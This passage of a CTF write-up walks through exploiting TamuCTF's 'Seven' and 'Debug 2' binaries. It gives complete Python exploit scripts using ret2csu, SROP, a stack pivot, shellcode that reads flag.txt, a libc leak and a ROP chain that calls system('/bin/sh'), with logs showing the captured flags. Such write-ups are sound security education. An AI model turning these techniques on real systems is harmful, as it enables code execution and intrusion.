    payload = flat(
31

32
        pop_rdi, 0,
33
        pop_rsi_r15, bss + 0x10, 0,
34
        exe.plt.read,
35
        syscall_ret,
36
        bytes(frame)
37
    )
38

39
    s(payload)
40

41
    shellcode = asm(f'''
42
        xor eax, eax
43
        xor edi, edi
44
        mov esi, {bss+0x10}
45
        add rdx, 127
46
        syscall
47
    ''')
48

49
    sleep(0.5)
50
    # input()
51
    s(shellcode.ljust(0xf, b'\x00'))                        # padding for 0xf byte
52

53
    shellcode = asm(f'mov rsp, {bss+0x190}')                # set rsp to rwx section (valid address for execute shellcode)
54
    shellcode += asm(shellcraft.open('./flag.txt'))
55
    shellcode += asm(shellcraft.read('rax', 'rsp', 100))
56
    shellcode += asm(shellcraft.write(1, 'rsp', 'rax'))
57

58
    sleep(0.5)
59
    # input()
60
    s(b'\x90' * 0xf + shellcode)

And since the place where we read the 3rd shellcode is right where we put the 2nd shellcode, we can easily set 0xf padding to place our 3rd shellcode after that, and when the 2nd shellcode finishes executing it will automatically execute the 3rd shellcode.

Full exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
# context.log_level = 'debug'
7
exe = context.binary = ELF('./seven_patched', checksec=False)
8
libc = exe.libc
9

10
def start(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote("tamuctf.com", 443, ssl=True, sni="tamuctf_seven")
15
    elif args.DOCKER:
16
        p = remote("localhost", 1337)
17
        time.sleep(1)
18
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
19
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
20
        pause()
21
        return p
22
    else:
23
        return process([exe.path] + argv, *a, **kw)
24

25
gdbscript = '''
26

27
b *0x401126
28

29
c
30
'''.format(**locals())
31

32
p = start()
33
# ==================== EXPLOIT ====================
34

35
def csu():
36

37
    shellcode = asm('''
38

39
        push rsp
40
        pop rsi
41

42
        xor edi, edi
43
        syscall
44

45
        ret
46

47
    ''')
48

49
    s(shellcode)
50

51
    '''
52
       0x0000000000401348 <+56>:    mov    rdx,r15
53
       0x000000000040134b <+59>:    mov    rsi,r14
54
       0x000000000040134e <+62>:    mov    edi,r13d
55
       0x0000000000401351 <+65>:    call   QWORD PTR [r12+rbx*8]
56

57
       0x0000000000401362 <+82>:    pop    rbx
58
       0x0000000000401363 <+83>:    pop    rbp
59
       0x0000000000401364 <+84>:    pop    r12
60
       0x0000000000401366 <+86>:    pop    r13
61
       0x0000000000401368 <+88>:    pop    r14
62
       0x000000000040136a <+90>:    pop    r15
63
       0x000000000040136c <+92>:    ret
64
    '''
65

66
    # r15 -> rdx
67
    # r14 -> rsi
68
    # r13 -> edi
69

70
    pop_6_regs = exe.sym.__libc_csu_init+82
71
    call_r12_rbx = exe.sym.__libc_csu_init+56
72

73
    rop = flat(
74
        pop_6_regs,
75
        0,                          # rbx
76
        1,                          # rbp
77
        exe.got.mprotect,           # r12
78
        0x404000,                   # r13
79
        0x1000,                     # r14
80
        7,                          # r15
81
        call_r12_rbx,
82
        0,
83

84
        0,
85
        1,
86
        exe.got.read,
87
        0,
88
        0x404000,
89
        0x100,
90
        call_r12_rbx,
91
        0,
92

93
        0,
94
        1,
95
        exe.got.read,
96
        0,
97
        0x404000+0x50,
98
        0x100,
99
        call_r12_rbx,
100
        0,
101

102
        0,
103
        0,
104
        0x404000,
105
        0,
106
        0,
107
        0,
108
        call_r12_rbx,
109
    )
110

111
    sleep(0.5)
112
    s(rop)
113

114
    sleep(0.5)
115
    s(p64(0x404000+0x50)) # read to 0x404000
116
    shellcode = asm(shellcraft.open('./flag.txt'))
117
    shellcode += asm(shellcraft.read(6, 'rsp', 100))
118
    shellcode += asm(shellcraft.write(1, 'rsp', 100))
119

120
    sleep(0.5)
121
    s(shellcode)
122

123
def srop():
124

125
    shellcode = asm('''
126

127
        push rsp
128
        pop rsi
129

130
        xor edi, edi
131
        syscall
132

133
        ret
134

135
    ''')
136
    s(shellcode)
137

138
    syscall_ret = 0x500004
139
    pop_rdi = 0x40136b
140
    pop_rsi_r15 = 0x401369
141
    bss = 0x404000
142

143
    # call mprotect(bss, 0x1000, 7)
144
    frame = SigreturnFrame()
145
    frame.rdi = bss
146
    frame.rsi = 0x1000
147
    frame.rdx = 7
148
    frame.rax = 0xa
149
    frame.rip = syscall_ret
150
    frame.rsp = 0x400598
151

152
    payload = flat(
153

154
        pop_rdi, 0,
155
        pop_rsi_r15, bss + 0x10, 0,
156
        exe.plt.read,
157
        syscall_ret,
158
        bytes(frame)
159
    )
160

161
    s(payload)
162

163
    shellcode = asm(f'''
164
        xor eax, eax
165
        xor edi, edi
166
        mov esi, {bss+0x10}
167
        add rdx, 127
168
        syscall
169
    ''')
170

171
    sleep(0.5)
172
    # input()
173
    s(shellcode.ljust(0xf, b'\x00'))
174

175
    shellcode = asm(f'mov rsp, {bss+0x190}')
176
    shellcode += asm(shellcraft.open('./flag.txt'))
177
    shellcode += asm(shellcraft.read('rax', 'rsp', 100))
178
    shellcode += asm(shellcraft.write(1, 'rsp', 'rax'))
179

180
    sleep(0.5)
181
    # input()
182
    s(b'\x90' * 0xf + shellcode)
183

184
def exploit():
185

186
    # csu()
187
    srop()
188

189
    interactive()
190

191
if __name__ == '__main__':
192
    exploit()

Get flag

1
└ ϟ ./xpl.py REMOTE
2
[*] '/mnt/e/sec/CTFs/2025/TamuCTF/Seven/seven/libc.so.6'
3
    Arch:       amd64-64-little
4
    RELRO:      Partial RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
[+] Opening connection to tamuctf.com on port 443: Done
9
[*] Switching to interactive mode
10
gigem{my_challenge_names_are_so_creative_right}
11
timeout: the monitored command dumped core
12
[*] Got EOF while reading in interactive

Debug 2

Challenge Information

Description: My friends gave me some advice to fix my code because apparently there were "glaring security flaws". Not sure what they meant, but now my code is more secure than ever! Tags:

Buffer Overflow
Partial Overwrite
ret2csu
Stack Pivot

Analysis + Exploit

Everything is the same as Debug 1 but for Debug 2, PIE is enabled and besides we don’t have the debug function anymore

1
#include <stdio.h>
2
#include <unistd.h>
3
#include <stdlib.h>
4
#include <stdbool.h>
5

6
int admin = 0;
7

8
int upkeep() {
9
        // IGNORE THIS
10
        setvbuf(stdin, NULL, _IONBF, 0);
11
        setvbuf(stdout, NULL, _IONBF, 0);
12
        setvbuf(stderr, NULL, _IONBF, 0);
13
}
14

15
int modify(char input[]) {
16
        puts("Input a string (max length of 69 characters):\n");
17

18
        int x = read(0, input, 0x60);
19

20
        printf("String you entered: %s\n", input);
21

22
        for (int i = 0; i < x; ++i) {
23
                // Make uppercase letters into lowercase
24
                if (((int)input[i] >= 97) && ((int)input[i] <= 122)) {
25
                        input[i] = (char)((int)input[i]-32);
26
                }
27
                // Make lowercase letters into uppercase
28
                else if (((int)input[i] >= 65) && ((int)input[i] <= 90)) {
29
                        input[i] = (char)((int)input[i]+32);
30
                }
31

32
        }
33

34
        return 1;
35
}
36

37
int menu() {
38
        int sel;
39
        char input[69];
40

41
        while (true) {
42
                puts("Choose an option:");
43
                puts("1: Modify string");
44
                puts("2: Debug Mode");
45
                puts("3: Exit\n");
46

47
                scanf("%d", &sel);
48
                printf("You selected: %d\n", sel);
49

50
                if (sel==1) {
51
                        modify(input);
52
                        printf("Your string: %s\n", input);
53
                        return 1;
54
                }
55
                else if (sel==2) {
56
                        /* This function has been disabled for now :( */
57
                        // debug();
58
                        puts("Debug mode has been disabled!");
59
                        return 1;
60
                }
61
                else if (sel==3) {
62
                        return 1;
63
                }
64
                puts("Invalid input! Try again.");
65
        }
66
        return 1;
67
}
68

69
// TODO: finish making debug function
70
// This function has been commented out for security reasons.
71
/*
72
int debug() {
73
        if (admin==0) {
74
                puts("You are not an administrator!");
75
                return -1;
76
        }
77

78
        int sel;
79

80
        puts("WARNING: If you are reading this and are NOT an");
81
        puts("administrator, report this to IT immediately!\n");
82

83
        while (true) {
84
                puts("Admin options:");
85
                puts("1. Print info");
86
                puts("2. Feature 2 (Uhhhhh idk what to put here)"); // TODO:
87
                puts("3. Feature 3 (I hope your day is going well :) )"); // TODO:
88

89
                scanf("%d", &sel);
90
                printf("You selected: %d\n", sel);
91

92
                if (sel==1) {
93
                        printf("libc leak: %lx\n", system);
94

95
                        puts("Leave a message here (max: 80 characters)!");
96
                        char message[80];
97

98
                        read(0, message, 800);
99

100
                        puts("Thanks!");
101

102
                        return 1;
103
                }
104
                else if (sel==2) {
105
                        // TODO:
106
                        return 1;
107
                }
108
                else if (sel==3) {
109
                        // TODO:
110
                        return 1;
111
                }
112
                puts("Invalid input!");
113
        }
114
        return 1;
115
}
116
*/
117

118
int main() {
119
        upkeep();
120

121
        puts("String Modifier v1.4.2");
122
        puts("Created by: FlamePyromancer"); // :)
123

124
        menu();
125

126
        printf("\nExiting...\n");
127
}

The idea will still be the same as Debug 1 but this time we will use Partial Overwrite to return to the main function and combine it with using printf to leak PIE

1
def choice(option: int):
2
    sl(f'{option}'.encode())
3

4
def modify(s: bytes) -> bytes:
5
    s = bytearray(s)
6
    n = len(s)
7

8
    for i in range(n):
9
        if s[i] <= 96 or s[i] > 122:
10
            if 64 < s[i] <= 90:
11
                s[i] += 32
12
        else:
13
            s[i] -= 32
14

15
    return bytes(s)
16

17

18
def exploit():
19

20
    choice(1)
21
    s(b'.' * 88 + p8(0xb3))
22
    ru(b'.' * 88)
23
    exe_leak = u64(rl()[:-1].ljust(8, b'\0'))
24
    exe.address = exe_leak - exe.sym.main - 1
25
    slog('exe leak', exe_leak)
26
    slog('pie base', exe.address)

In this challenge we need to create a modify function with will help us save our payload later. So after we have PIE base and return to main again. We’ll need to find the way to spawn the shell. Because we just can input 0x60 bytes (this mean we just can overwrite saved RIP), this size isn’t enough for normal ROP chain. So in this case we need to use Stack Pivot, and to avoid pivot many time (this make me confuse), so I choose the way using ret2csu. The input size is enough for our ROP chain if we put it at the beginning of our payload. So use leave; ret; gadget to make the RSP point directly to the ROP in the payload

1
    rop = ROP(exe)
2
    leave_ret = exe.sym.menu + 212
3
    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
4
    call_r12_rbx = exe.sym.__libc_csu_init + 56         # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8+0x00]
5
    pop_7_regs = exe.sym.__libc_csu_init + 82           # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
6

7

8
    '''
9
    <...>
10
    0x0000559d20b49438 <+56>:    mov    rdx,r15
11
    0x0000559d20b4943b <+59>:    mov    rsi,r14
12
    0x0000559d20b4943e <+62>:    mov    edi,r13d
13
    0x0000559d20b49441 <+65>:    call   QWORD PTR [r12+rbx*8]
14
    <...>
15
    0x0000559d20b49452 <+82>:    pop    rbx
16
    0x0000559d20b49453 <+83>:    pop    rbp
17
    0x0000559d20b49454 <+84>:    pop    r12    <--------------- Skip to this
18
    0x0000559d20b49456 <+86>:    pop    r13
19
    0x0000559d20b49458 <+88>:    pop    r14
20
    0x0000559d20b4945a <+90>:    pop    r15
21
    0x0000559d20b4945c <+92>:    ret
22
    '''
23

24
    rw_section = exe.address + 0x4800
25
    read_gadget = exe.sym.modify+24
26
    offset = 80
27

28
    choice(1)
29
    # fake_rbp = exe.bss(0x2f00)
30
    fake_rbp = exe.bss(0xf80)
31
    slog('fake rbp', fake_rbp)
32
    data2 = flat({
33
        0x50: [
34
            fake_rbp, exe.sym.menu + 4
35
        ]
36
    }, filler=b'.')
37

38
    input("1st")
39
    s(modify(data2))
40

41
    choice(1)
42
    rop1 = [
43
        pop_rdi,
44
        exe.got.puts,
45
        exe.plt.puts,
46
        # exe.sym.pop_7_regs, 0, 0, # rbx, rbp
47
        pop_7_regs + 2, # ASSUME rbx = 0
48
        fake_rbp - 0x50 + 8*9, 0, # r12, r13
49
        fake_rbp - 0x50 + 8*9, 0x100, # r14, r15
50
        call_r12_rbx,
51
        exe.plt.read,
52
    ]
53

54
    data3 = flat({
55
        0: rop1,
56

57
        0x50: [
58

59
            fake_rbp - 0x50 - 8,
60
            leave_ret
61
        ]
62

63
    }, filler=b'.')
64
    input("2nd")
65
    s(modify(data3))

So when we read into fake_rbp, our entire payload will be at fake_rbp - 0x50. You will see in the payload above that I have given the saved RBP and saved RIP of the ROP payload as fake_rbp - 0x50 - 8 and leave; ret; respectively. This way, when the menu function returns, it will jump straight to our payload. To limit multiple pivots, I took advantage of this condition in __libc_csu_init

1
pwndbg> disass __libc_csu_init
2
<...>
3
0x000055c86fd0b445 <+69>:    add    rbx,0x1
4
0x000055c86fd0b449 <+73>:    cmp    rbp,rbx
5
0x000055c86fd0b44c <+76>:    jne    0x55c86fd0b438 <__libc_csu_init+56>
6
<...>

I use this one to make it jump back to __libc_csu_init+56 so that’s why you see im pop_7_regs + 2. So after get libc base, we can craft a ROP that call system("/bin/sh") now. So this time, __libc_csu_init shows its full power, we will use it to setup the necessary things to call a function read@plt. Now we need to align the registers properly so that after reading it will execute again but the next execution will be to call system. To do that I will align the values of r12 and r14 so that they have the same value, then after reading we will go back and the values of r12 and r14 now have our ROP chain to execute system

1
    ru(b'Your string: ')
2
    ru(b'Your string: ')
3
    ru(b'Your string: ')
4

5
    rb(7)
6
    puts = u64(rb(6).ljust(8, b'\0'))
7
    libc.address = puts - libc.sym.puts
8

9
    slog('puts', puts)
10
    slog('libc base', libc.address)
11

12
    rop2 = ROP(libc)
13
    rop2.raw(rop2.ret)
14
    rop2.system(next(libc.search(b'/bin/sh\0')))
15
    input("3rd")
16
    s(bytes(rop2))
17

18
    interactive()

To understand what I’m saying, I highly reccommend debug my payload. If you want to ask you can DM to my discord

Full exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./debug-2_patched', checksec=False)
8
libc = exe.libc
9

10
def start(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        p = remote("localhost", 1337)
17
        time.sleep(1)
18
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
19
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
20
        pause()
21
        return p
22
    else:
23
        return process([exe.path] + argv, *a, **kw)
24

25
gdbscript = '''
26

27
# brva 0x11FF
28
brva 0x12DB
29
brva 0x11FF
30
b *menu+213
31

32
c
33
'''.format(**locals())
34

35
p = start()
36
# ==================== EXPLOIT ====================
37

38
def choice(option: int):
39
    sl(f'{option}'.encode())
40

41
def modify(s: bytes) -> bytes:
42
    s = bytearray(s)
43
    n = len(s)
44

45
    for i in range(n):
46
        if s[i] <= 96 or s[i] > 122:
47
            if 64 < s[i] <= 90:
48
                s[i] += 32
49
        else:
50
            s[i] -= 32
51

52
    return bytes(s)
53

54

55
def exploit():
56

57
    choice(1)
58
    s(b'.' * 88 + p8(0xb3))
59
    ru(b'.' * 88)
60
    exe_leak = u64(rl()[:-1].ljust(8, b'\0'))
61
    exe.address = exe_leak - exe.sym.main - 1
62
    slog('exe leak', exe_leak)
63
    slog('pie base', exe.address)
64

65
    rop = ROP(exe)
66
    leave_ret = exe.sym.menu + 212
67
    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
68
    call_r12_rbx = exe.sym.__libc_csu_init + 56         # mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8+0x00]
69
    pop_7_regs = exe.sym.__libc_csu_init + 82           # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
70

71

72
    '''
73
    <...>
74
    0x0000559d20b49438 <+56>:    mov    rdx,r15
75
    0x0000559d20b4943b <+59>:    mov    rsi,r14
76
    0x0000559d20b4943e <+62>:    mov    edi,r13d
77
    0x0000559d20b49441 <+65>:    call   QWORD PTR [r12+rbx*8]
78
    <...>
79
    0x0000559d20b49452 <+82>:    pop    rbx
80
    0x0000559d20b49453 <+83>:    pop    rbp
81
    0x0000559d20b49454 <+84>:    pop    r12    <--------------- Skip to this
82
    0x0000559d20b49456 <+86>:    pop    r13
83
    0x0000559d20b49458 <+88>:    pop    r14
84
    0x0000559d20b4945a <+90>:    pop    r15
85
    0x0000559d20b4945c <+92>:    ret
86
    '''
87

88
    rw_section = exe.address + 0x4800
89
    read_gadget = exe.sym.modify+24
90
    offset = 80
91

92
    choice(1)
93
    # fake_rbp = exe.bss(0x2f00)
94
    fake_rbp = exe.bss(0xf80)
95
    slog('fake rbp', fake_rbp)
96
    data2 = flat({
97
        0x50: [
98
            fake_rbp, exe.sym.menu + 4
99
        ]
100
    }, filler=b'.')
101

102
    input("1st")
103
    s(modify(data2))
104

105
    choice(1)
106
    rop1 = [
107
        pop_rdi,
108
        exe.got.puts,
109
        exe.plt.puts,
110
        # exe.sym.pop_7_regs, 0, 0, # rbx, rbp
111
        pop_7_regs + 2, # ASSUME rbx = 0
112
        fake_rbp - 0x50 + 8*9, 0, # r12, r13
113
        fake_rbp - 0x50 + 8*9, 0x100, # r14, r15
114
        call_r12_rbx,
115
        exe.plt.read,
116
    ]
117

118
    data3 = flat({
119
        0: rop1,
120

121
        0x50: [
122

123
            fake_rbp - 0x50 - 8,
124
            leave_ret
125
        ]
126

127
    }, filler=b'.')
128
    input("2nd")
129
    s(modify(data3))
130

131

132
    ru(b'Your string: ')
133
    ru(b'Your string: ')
134
    ru(b'Your string: ')
135

136
    rb(7)
137
    puts = u64(rb(6).ljust(8, b'\0'))
138
    libc.address = puts - libc.sym.puts
139

140
    slog('puts', puts)
141
    slog('libc base', libc.address)
142

143
    rop2 = ROP(libc)
144
    rop2.raw(rop2.ret)
145
    rop2.system(next(libc.search(b'/bin/sh\0')))
146
    input("3rd")
147
    s(bytes(rop2))
148

149
    interactive()
150

151
if __name__ == '__main__':
152
    exploit()

Get flag

1
[*] '/mnt/e/sec/CTFs/2025/TamuCTF/Debug2/libc.so.6'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
[+] Opening connection to tamuctf.com on port 443: Done
8
[+] exe leak: 0x559a0de053b3
9
[+] pie base: 0x559a0de04000
10
[*] Loaded 14 cached gadgets for './debug-2_patched'
11
[+] fake rbp: 0x559a0de08fa0
12
1st
13
2nd
14
[+] puts: 0x7fa11d3c6a40
15
[+] libc base: 0x7fa11d355000
16
[*] Loaded 200 cached gadgets for '/mnt/e/sec/CTFs/2025/TamuCTF/Debug2/libc.so.6'
17
3rd
18
[*] Switching to interactive mode
19

20
$ cat flag*
21
gigem{f1x3d_d3buG6iN_y3t_st1Ll_f1aWeD_3da42ce3}